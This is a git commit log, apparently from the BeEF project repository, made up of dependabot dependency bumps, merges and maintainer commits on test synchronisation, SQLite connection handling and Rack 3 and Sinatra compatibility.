2025-09-11 13:03:33 +00:00
zinduolis
bd8ad1fe1e Merge pull request #3392 from beefproject/red/dev
Remediate sinatra vulnerability
2025-09-10 08:13:01 +10:00
zinduolis
cdb9ceda2a Update Gemfile and Gemfile.lock for Sinatra and Rack compatibility 2025-09-09 21:33:59 +10:00
zinduolis
5cf691120f Updated the code to be compatible with Rack3 2025-09-09 21:21:24 +10:00
zinduolis
d05ff08dbc Merge pull request #3383 from beefproject/dependabot/bundler/rubyzip-3.0.2
Bump rubyzip from 2.4.1 to 3.0.2
2025-09-07 20:05:48 +10:00
dependabot[bot]
d67fa4f780 Bump rubyzip from 2.4.1 to 3.0.2
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 2.4.1 to 3.0.2.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v2.4.1...v3.0.2)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.0.2
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:58:33 +00:00
zinduolis
101bef502a Merge pull request #3359 from beefproject/dependabot/bundler/thin-2.0.1
Bump thin from 1.8.2 to 2.0.1
2025-09-07 19:50:46 +10:00
dependabot[bot]
b0ea6a94f6 Bump thin from 1.8.2 to 2.0.1
Bumps [thin](https://github.com/macournoyer/thin) from 1.8.2 to 2.0.1.
- [Release notes](https://github.com/macournoyer/thin/releases)
- [Changelog](https://github.com/macournoyer/thin/blob/master/CHANGELOG)
- [Commits](https://github.com/macournoyer/thin/compare/v1.8.2...v2.0.1)

---
updated-dependencies:
- dependency-name: thin
  dependency-version: 2.0.1
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:46:58 +00:00
github-actions[bot]
c5c2ee387f Merge pull request #3388 from beefproject/dependabot/bundler/curb-1.2.0
Bump curb from 1.1.0 to 1.2.0
2025-09-07 09:42:43 +00:00
dependabot[bot]
e01cff64d9 Bump curb from 1.1.0 to 1.2.0
Bumps [curb](https://github.com/taf2/curb) from 1.1.0 to 1.2.0.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:39:30 +00:00
github-actions[bot]
383f0c6481 Merge pull request #3390 from beefproject/dependabot/bundler/rubocop-1.80.2
Bump rubocop from 1.80.0 to 1.80.2
2025-09-07 09:38:14 +00:00
dependabot[bot]
d77a01d84f Bump rubocop from 1.80.0 to 1.80.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.80.0 to 1.80.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.80.0...v1.80.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.80.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:34:29 +00:00
zinduolis
c7665fba3f Merge pull request #3386 from beefproject/red/dev
Fix forked SQLite connection handling to improve test accuracy (#3249)
2025-09-07 19:33:19 +10:00
zinduolis
31decb81b3 Centralised the initiation of MUTEX 2025-09-07 19:23:26 +10:00
zinduolis
e716de707a Merge branch 'master' into red/dev 2025-09-07 19:08:50 +10:00
zinduolis
c91b74e0ba Refactor database reset handling in AutoRunEngine and Websocket hooked browser specs for improved synchronization 2025-09-06 11:10:56 +10:00
zinduolis
3df5bcb904 Refactor database migration handling in browser details and websocket hooked browser specs for improved synchronization 2025-09-06 11:04:23 +10:00
zinduolis
41b595ae00 Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:56:17 +10:00
zinduolis
f3834f730b Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:52:04 +10:00
zinduolis
5a333d45a9 Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:43:05 +10:00
zinduolis
ac6dfe50a5 Refactor database reset and migration handling in BeEF debug modules for improved synchronization and conditional execution 2025-09-06 10:36:13 +10:00
zinduolis
81a4caa836 Refactor server start-up process in BeEF debug modules for improved consistency and teardown handling 2025-09-06 10:19:23 +10:00
zinduolis
15fd00a69a Refactor server start-up process in AutoRunEngine and Websocket tests for improved initialization 2025-09-06 09:58:00 +10:00
zinduolis
e5c8a0c86d Refactor server teardown to improve error handling and cleanup process 2025-09-03 10:43:40 +10:00
zinduolis
6d0531f6b3 Change connection pool cleanup to run before each example in RSpec 2025-09-03 10:31:34 +10:00
zinduolis
f42fa9f599 Add connection pool cleanup after each example in RSpec 2025-09-03 10:18:20 +10:00
zinduolis
eecc73b941 Remove testing message and improve code formatting in spec files 2025-09-03 10:04:31 +10:00
zinduolis
dbc9fed9f2 Revert back to the original before troubleshooting sql forking issue 2025-09-03 09:40:41 +10:00
zinduolis
2494443829 Testing code running in github actions 2025-09-01 21:57:56 +10:00
zinduolis
e394f2e15f Update checkout action 2025-09-01 21:30:58 +10:00
zinduolis
407535da0f Merge branch 'red/dev' of https://github.com/beefproject/beef into red/dev 2025-09-01 21:08:22 +10:00
zinduolis
418dc226fd Update github_actions.yml
Troubleshooting different behaviour of tests when running locally and on remote branch
2025-08-28 18:47:03 +10:00
zinduolis
180c2f2c4e Troubleshooting discrepancy between local tests passing and remote not 2025-08-28 18:44:13 +10:00
zinduolis
1a4127c198 Update Gemfile.lock to bump dependencies and add platform support 2025-08-27 21:39:44 +10:00
zinduolis
56b34649b7 Comment out SERVER_START_TIMEOUT definition in spec_helper.rb 2025-08-27 21:20:24 +10:00
zinduolis
e93dc28174 Add disconnect_all_active_record! calls before forking in multiple specs for improved SQL connection handling safety 2025-08-25 23:30:54 +10:00
zinduolis
f9c630b5d6 Update .gitignore to include secrets for local GitHub Actions testing; refactor spec_helper.rb for improved fork handling 2025-08-25 22:24:15 +10:00
github-actions[bot]
2300a24c41 Merge pull request #3384 from beefproject/dependabot/bundler/rubocop-1.80.0
Bump rubocop from 1.79.2 to 1.80.0
2025-08-24 09:31:39 +00:00
dependabot[bot]
a403afe4df Bump rubocop from 1.79.2 to 1.80.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.79.2 to 1.80.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.79.2...v1.80.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.80.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-22 13:22:46 +00:00
github-actions[bot]
50e8468236 Merge pull request #3371 from beefproject/dependabot/bundler/nokogiri-1.18.9
Bump nokogiri from 1.18.8 to 1.18.9
2025-08-21 01:29:45 +00:00
dependabot[bot]
fbd2c56122 Bump nokogiri from 1.18.8 to 1.18.9
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.8 to 1.18.9.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.8...v1.18.9)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.18.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 01:27:15 +00:00
github-actions[bot]
237a85ef1f Merge pull request #3380 from beefproject/dependabot/bundler/selenium-webdriver-4.35.0
Bump selenium-webdriver from 4.34.0 to 4.35.0
2025-08-21 01:20:47 +00:00
dependabot[bot]
cd6f048100 Bump selenium-webdriver from 4.34.0 to 4.35.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.34.0 to 4.35.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.34.0...selenium-4.35.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.35.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 01:18:15 +00:00
github-actions[bot]
de71e2c792 Merge pull request #3377 from beefproject/dependabot/bundler/rubocop-1.79.2
Bump rubocop from 1.79.0 to 1.79.2
2025-08-21 00:53:12 +00:00
dependabot[bot]
111bd7ae0b Bump rubocop from 1.79.0 to 1.79.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.79.0 to 1.79.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.79.0...v1.79.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.79.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:50:07 +00:00
github-actions[bot]
dbe6c0928a Merge pull request #3375 from beefproject/dependabot/bundler/json-2.13.2
Bump json from 2.13.1 to 2.13.2
2025-08-21 00:49:05 +00:00
dependabot[bot]
f7de4cd111 Bump json from 2.13.1 to 2.13.2
Bumps [json](https://github.com/ruby/json) from 2.13.1 to 2.13.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.13.1...v2.13.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.13.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:45:44 +00:00
github-actions[bot]
067c91da80 Merge pull request #3381 from beefproject/dependabot/bundler/activerecord-7.2.2.2
Bump activerecord from 7.2.2.1 to 7.2.2.2
2025-08-21 00:44:44 +00:00
dependabot[bot]
aa67fe5b9e Bump activerecord from 7.2.2.1 to 7.2.2.2
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2.1 to 7.2.2.2.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.2.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2.1...v7.2.2.2)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 7.2.2.2
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:29:10 +00:00
github-actions[bot]
9db8df6fdd Merge pull request #3367 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.2
Bump jsdoc-to-markdown from 9.1.1 to 9.1.2
2025-08-21 00:26:05 +00:00
dependabot[bot]
94d8f9c252 Bump jsdoc-to-markdown from 9.1.1 to 9.1.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.1.1 to 9.1.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.1.1...v9.1.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-version: 9.1.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:21:59 +00:00
github-actions[bot]
453edb8c9a Merge pull request #3370 from beefproject/dependabot/bundler/rubocop-1.79.0
Bump rubocop from 1.77.0 to 1.79.0
2025-07-25 20:35:32 +00:00
dependabot[bot]
0271331c66 Bump rubocop from 1.77.0 to 1.79.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.77.0 to 1.79.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.77.0...v1.79.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.79.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-25 19:45:09 +00:00
github-actions[bot]
80093f6a91 Merge pull request #3372 from beefproject/dependabot/bundler/curb-1.1.0
Bump curb from 1.0.9 to 1.1.0
2025-07-25 19:44:10 +00:00
dependabot[bot]
a194ccb4d2 Bump curb from 1.0.9 to 1.1.0
Bumps [curb](https://github.com/taf2/curb) from 1.0.9 to 1.1.0.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.1.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-25 13:25:20 +00:00
github-actions[bot]
0339dbbc22 Merge pull request #3368 from beefproject/dependabot/bundler/sqlite3-2.7.3
Bump sqlite3 from 2.7.2 to 2.7.3
2025-07-24 22:49:51 +00:00
dependabot[bot]
7752f466fb Bump sqlite3 from 2.7.2 to 2.7.3
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.2 to 2.7.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.2...v2.7.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 22:47:17 +00:00
github-actions[bot]
231bcdea09 Merge pull request #3363 from beefproject/dependabot/bundler/rdoc-6.14.2
Bump rdoc from 6.14.1 to 6.14.2
2025-07-24 22:46:16 +00:00
dependabot[bot]
3f40aae9f9 Bump rdoc from 6.14.1 to 6.14.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.1 to 6.14.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.1...v6.14.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 13:31:25 +00:00
github-actions[bot]
ae4c7123f2 Merge pull request #3369 from beefproject/dependabot/bundler/json-2.13.1
Bump json from 2.12.2 to 2.13.1
2025-07-24 13:30:19 +00:00
dependabot[bot]
62cb20d694 Bump json from 2.12.2 to 2.13.1
Bumps [json](https://github.com/ruby/json) from 2.12.2 to 2.13.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.12.2...v2.13.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.13.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 13:27:00 +00:00
github-actions[bot]
97e9624cf8 Merge pull request #3364 from beefproject/dependabot/bundler/sqlite3-2.7.2
Bump sqlite3 from 2.7.1 to 2.7.2
2025-07-07 16:05:50 +00:00
dependabot[bot]
c4baa10274 Bump sqlite3 from 2.7.1 to 2.7.2
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.1 to 2.7.2.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.1...v2.7.2)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-07 16:03:01 +00:00
github-actions[bot]
bfb7cbf6a0 Merge pull request #3355 from beefproject/dependabot/bundler/rdoc-6.14.1
Bump rdoc from 6.14.0 to 6.14.1
2025-07-01 13:45:48 +00:00
dependabot[bot]
d2833ab8ef Bump rdoc from 6.14.0 to 6.14.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.0 to 6.14.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.0...v6.14.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-01 13:41:57 +00:00
github-actions[bot]
a962aaad4b Merge pull request #3362 from beefproject/dependabot/bundler/sqlite3-2.7.1
Bump sqlite3 from 2.7.0 to 2.7.1
2025-07-01 13:40:42 +00:00
dependabot[bot]
6baa7d19db Bump sqlite3 from 2.7.0 to 2.7.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.0 to 2.7.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.0...v2.7.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-01 13:37:12 +00:00
github-actions[bot]
a16f98fd39 Merge pull request #3361 from beefproject/dependabot/bundler/selenium-webdriver-4.34.0
Bump selenium-webdriver from 4.33.0 to 4.34.0
2025-06-30 16:29:12 +00:00
dependabot[bot]
e423771eaa Bump selenium-webdriver from 4.33.0 to 4.34.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.33.0 to 4.34.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.33.0...selenium-4.34.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.34.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-30 16:26:38 +00:00
zinduolis
e8a732d4cc Merge pull request #3360 from beefproject/red/dev
Update Discord invite code
2025-06-27 14:00:23 +10:00
zinduolis
5b13dbc833 Update Discord invite code 2025-06-26 16:21:48 +10:00
github-actions[bot]
713744d48e Merge pull request #3350 from beefproject/dependabot/bundler/rack-2.2.17
Bump rack from 2.2.16 to 2.2.17
2025-06-26 06:01:16 +00:00
dependabot[bot]
462b973e6f Bump rack from 2.2.16 to 2.2.17
Bumps [rack](https://github.com/rack/rack) from 2.2.16 to 2.2.17.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.16...v2.2.17)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 2.2.17
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-20 13:25:26 +00:00
github-actions[bot]
6253c7c052 Merge pull request #3356 from beefproject/dependabot/bundler/rubocop-1.77.0
Bump rubocop from 1.76.1 to 1.77.0
2025-06-20 13:24:26 +00:00
dependabot[bot]
aac3f863c3 Bump rubocop from 1.76.1 to 1.77.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.76.1 to 1.77.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.76.1...v1.77.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.77.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-20 13:21:47 +00:00
github-actions[bot]
4367deed58 Merge pull request #3348 from beefproject/dependabot/bundler/rake-13.3.0
Bump rake from 13.2.1 to 13.3.0
2025-06-10 13:34:41 +00:00
dependabot[bot]
137cb2c0c6 Bump rake from 13.2.1 to 13.3.0
Bumps [rake](https://github.com/ruby/rake) from 13.2.1 to 13.3.0.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.2.1...v13.3.0)

---
updated-dependencies:
- dependency-name: rake
  dependency-version: 13.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:32:15 +00:00
github-actions[bot]
c1012442f5 Merge pull request #3352 from beefproject/dependabot/bundler/rubocop-1.76.1
Bump rubocop from 1.75.8 to 1.76.1
2025-06-10 13:31:10 +00:00
dependabot[bot]
af66637313 Bump rubocop from 1.75.8 to 1.76.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.8 to 1.76.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.8...v1.76.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.76.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:28:28 +00:00
github-actions[bot]
58f7ace699 Merge pull request #3353 from beefproject/dependabot/bundler/sqlite3-2.7.0
Bump sqlite3 from 2.6.0 to 2.7.0
2025-06-10 13:27:21 +00:00
dependabot[bot]
ca1649e701 Bump sqlite3 from 2.6.0 to 2.7.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.6.0 to 2.7.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.6.0...v2.7.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:24:48 +00:00
github-actions[bot]
f369e938f2 Merge pull request #3345 from beefproject/dependabot/bundler/selenium-webdriver-4.33.0
Bump selenium-webdriver from 4.31.0 to 4.33.0
2025-05-29 14:06:51 +00:00
dependabot[bot]
1e2a411b8d Bump selenium-webdriver from 4.31.0 to 4.33.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.31.0 to 4.33.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.31.0...selenium-4.33.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.33.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-29 14:04:21 +00:00
github-actions[bot]
b93cb156fa Merge pull request #3347 from beefproject/dependabot/bundler/rubocop-1.75.8
Bump rubocop from 1.75.3 to 1.75.8
2025-05-29 14:03:16 +00:00
dependabot[bot]
734415fd45 Bump rubocop from 1.75.3 to 1.75.8
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.3 to 1.75.8.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.3...v1.75.8)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.8
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-29 13:59:46 +00:00
github-actions[bot]
b13affafb1 Merge pull request #3344 from beefproject/dependabot/bundler/json-2.12.2
Bump json from 2.10.2 to 2.12.2
2025-05-27 13:40:22 +00:00
dependabot[bot]
f3ea1fed56 Bump json from 2.10.2 to 2.12.2
Bumps [json](https://github.com/ruby/json) from 2.10.2 to 2.12.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.10.2...v2.12.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.12.2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-27 13:37:45 +00:00
github-actions[bot]
5e4fc2543b Merge pull request #3346 from beefproject/dependabot/bundler/rspec-3.13.1
Bump rspec from 3.13.0 to 3.13.1
2025-05-27 13:36:37 +00:00
dependabot[bot]
88951d66d5 Bump rspec from 3.13.0 to 3.13.1
Bumps [rspec](https://github.com/rspec/rspec) from 3.13.0 to 3.13.1.
- [Commits](https://github.com/rspec/rspec/compare/rspec-metagem-v3.13.0...rspec-v3.13.1)

---
updated-dependencies:
- dependency-name: rspec
  dependency-version: 3.13.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-27 13:33:48 +00:00
github-actions[bot]
89e7b07f95 Merge pull request #3340 from beefproject/dependabot/bundler/rdoc-6.14.0
Bump rdoc from 6.13.1 to 6.14.0
2025-05-22 13:41:45 +00:00
dependabot[bot]
80a7999e26 Bump rdoc from 6.13.1 to 6.14.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.13.1 to 6.14.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.13.1...v6.14.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:39:14 +00:00
github-actions[bot]
ca07677272 Merge pull request #3335 from beefproject/dependabot/bundler/mime-types-3.7.0
Bump mime-types from 3.6.2 to 3.7.0
2025-05-22 13:38:05 +00:00
dependabot[bot]
8fe1115f8b Bump mime-types from 3.6.2 to 3.7.0
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.2 to 3.7.0.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.2...v3.7.0)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-version: 3.7.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:35:24 +00:00
github-actions[bot]
3bbe440036 Merge pull request #3341 from beefproject/dependabot/bundler/rack-2.2.16
Bump rack from 2.2.13 to 2.2.16
2025-05-22 13:34:19 +00:00
dependabot[bot]
c63501bd3a Bump rack from 2.2.13 to 2.2.16
Bumps [rack](https://github.com/rack/rack) from 2.2.13 to 2.2.16.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.13...v2.2.16)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 2.2.16
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:31:47 +00:00
github-actions[bot]
b7eb3fa25f Merge pull request #3323 from beefproject/dependabot/bundler/nokogiri-1.18.8
Bump nokogiri from 1.18.4 to 1.18.8
2025-04-22 14:01:12 +00:00
dependabot[bot]
eff5516cc9 Bump nokogiri from 1.18.4 to 1.18.8
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.4 to 1.18.8.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.4...v1.18.8)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.18.8
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-22 13:58:46 +00:00
github-actions[bot]
e630cfcd41 Merge pull request #3324 from beefproject/dependabot/bundler/rubocop-1.75.3
Bump rubocop from 1.75.2 to 1.75.3
2025-04-22 13:57:45 +00:00
dependabot[bot]
9f841bcdae Bump rubocop from 1.75.2 to 1.75.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.2 to 1.75.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.2...v1.75.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-22 13:55:16 +00:00
github-actions[bot]
69bad18295 Merge pull request #3312 from beefproject/dependabot/bundler/rdoc-6.13.1
Bump rdoc from 6.13.0 to 6.13.1
2025-04-07 14:24:24 +00:00
